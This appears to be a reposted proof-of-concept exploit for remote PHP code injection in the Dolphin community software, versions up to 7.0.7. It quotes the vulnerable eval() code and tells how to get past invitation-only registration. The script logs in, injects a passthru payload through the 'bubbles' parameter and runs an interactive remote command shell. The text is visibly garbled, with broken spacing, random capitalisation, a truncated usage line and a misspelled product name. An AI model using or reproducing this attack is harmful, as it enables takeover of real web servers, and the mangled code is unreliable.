<? Php
/*
----------------------------------------------------------------------------
Doldolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
----------------------------------------------------------------------------
Author: EgiX www.2cto.com mail: n0b0d13s [at] gmail [dot] com
Software connection: http://www.boonex.com/dolphin
Affected Versions: From 7.0.0 to 7.0.7
+ ------------------------------------------------------------------------- +
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+ ------------------------------------------------------------------------- +
[-] Defect page: member_menu_queries.php
61. case 'get _ bubbles_values ':
62. $ sBubbles = (isset ($ _ GET ['buckets'])? $ _ GET ['buckets']: null;
63. if ($ sBubbles & $ iMemberId ){
64.
65. $ aMemberInfo = getProfileInfo ($ iMemberId );
66. if ($ aMemberInfo ['userstatus']! = 'Offline '){
67. // update the date of last navigate;
68. update_date_lastnav ($ iMemberId );
69 .}
70.
71. $ aBubbles = array ();
72. $ aBubblesItems = explode (',', $ sBubbles );
73.
74. if ($ aBubblesItems & is_array ($ aBubblesItems )){
75. $ b1_ache = false;
76. foreach ($ aBubblesItems as $ sValue)
77 .{
78. $ aItem = explode (':', $ sValue );
79.
80. $ sBubbleCode = null;
81. foreach ($ aMenuStructure as $ sKey => $ aItems)
82 .{
83. foreach ($ aItems as $ iKey => $ aSubItems)
84 .{
85. if ($ aSubItems ['name'] = $ aItem [0]) {
86. $ sBubbleCode = $ aSubItems ['bucket'];
87. break;
88 .}
89 .}
90.
91. if ($ sBubbleCode ){
92. break;
93 .}
94 .}
95.
96. if ($ sBubbleCode ){
97. $ sCode = str_replace ('{iOldCount}', $ aItem [1], $ sBubbleCode );
98. $ sCode = str_replace ('{ID}', $ iMemberId, $ sCode );
99.
100. eval ($ sCode );
When handling 'get _ bubbles_values 'action, input passed through $ _ get ['buckets'] isn' t properly sanitized
Before being used in a call to eval () at line 100, this can be exploited to inject arbitrary PHP code.
Successful exploitation of this vulnerability requires authentication, but is always possible to create
New account also if 'registration by invitation only' is enabled, in this case an attacker cocould bypass
The restriction visiting first/index. php? IdFriend = 1 and after point to/join. php for a new registration.
*/
Error_reporting (0 );
Set_time_limit (0 );
Ini_set ("default_socket_timeout", 5 );
Function http_send ($ host, $ packet)
{
If (! ($ Sock = fsockopen ($ host, 80 )))
Die ("\ n [-] No response from {$ host}: 80 \ n ");
Fwrite ($ sock, $ packet );
Return stream_get_contents ($ sock );
}
Print "\ n + ------------------------------------------------------------ + ";
Print "\ n | doldolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX | ";
Print "\ n + ------------------------------------------------------------ + \ n ";
If ($ argc <5)
{
Print "\ nUsage...: php $ argv [0] Print "\ nExample...: php $ argv [0] localhost/user pass ";
Print "\ nExample...: php $ argv [0] localhost/doldolphin/user pass \ n ";
Die ();
}
$ Host = $ argv [1];
$ Path = $ argv [2];
$ Payload = "ID = {$ argv [3]} & Password = {$ argv [4]}";
$ Packet = "POST {$ path} member. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Content-Length:". strlen ($ payload). "\ r \ n ";
$ Packet. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";
$ Packet. = "Connection: close \ r \ n {$ payload }";
If (! Preg_match ("/memberID = ([0-9] + ). * memberPassword = ([0-9a-f] +)/is ", http_send ($ host, $ packet), $ m) die (" \ n [-] Login failed! \ N ");
$ Phpcode = "1); error_reporting (0); passthru (base64_decode (\ $ _ SERVER [HTTP_CMD])";
$ Packet = "GET {$ path} member_menu_queries.php? Action = get_bubbles_values & bubbles = Friends: {$ phpcode} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cookie: memberID = {$ m [1]}; memberPassword = {$ m [2]} \ r \ n ";
$ Packet. = "Cmd: % s \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
While (1)
{
Print "\ ndoldolphin-shell #";
If ($ cmd = trim (fgets (STDIN) = "exit") break;
Preg_match ("/\ r \ n (. *) \ {\ "Friends/s", http_send ($ host, sprintf ($ packet, base64_encode ($ cmd), $ m )?
Print $ m [1]: die ("\ n [-] Exploit failed! \ N ");
}
?>
Fix: Perform code analysis.